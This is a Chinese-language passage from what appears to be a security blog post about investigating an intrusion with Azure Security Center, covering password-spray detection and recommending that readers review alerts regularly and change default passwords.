在调查攻击过程时,研究人员能够通过Azure安全中心提取一些独特的TTP,来加快分析的时间,比如通过更好的密码喷雾检测,并全面的收集攻击者的主机枚举。研究人员还能够对分析结果进行验证,看看攻击是否如预料的那样启动。Azure安全中心的目标不是向用户发出警报就完了,而是为了让用户对攻击者行为有一个深入了解并作出预防措施。研究人员也承认,将来,这次攻击幕后的研发者可能会改变他们某些技术。对攻击的整个生命周期的检测范围越大,研究人员对攻击者方法的了解就越深。此外,本文所讲的样本中的使用的特定技术可能被其他攻击者使用,研究人员也希望能随时捕获它们。

缓解措施

定期查看Azure安全中心的警报,如果用户注意所看到的针对此入侵的Azure安全中心警报,就可以按着提示阻止此恶意活动。 Azure安全中心会将所有警报整合到安全警报的一个位置。这样用户就可以轻松查看警报的严重性,并帮助你确定响应的优先级。每个警报都会为你提供事件的详细说明以及如何解决问题的步骤。为了方便用户的进一步调查,“调查路径”中专门有查看警报的途径,这是一种交互式和可视化的方式,可以查看攻击中涉及的每个对象。

定期更改密码,虽然Azure安全中心发布了安全警报,但可以通过良好的密码管理策略来防止入侵。在攻击者工具包中的许多用户名和密码组合中,很大一部分是在用户第一次安装软件时创建的默认值。通过更改这些默认密码或无效密码,可以有效防止攻击。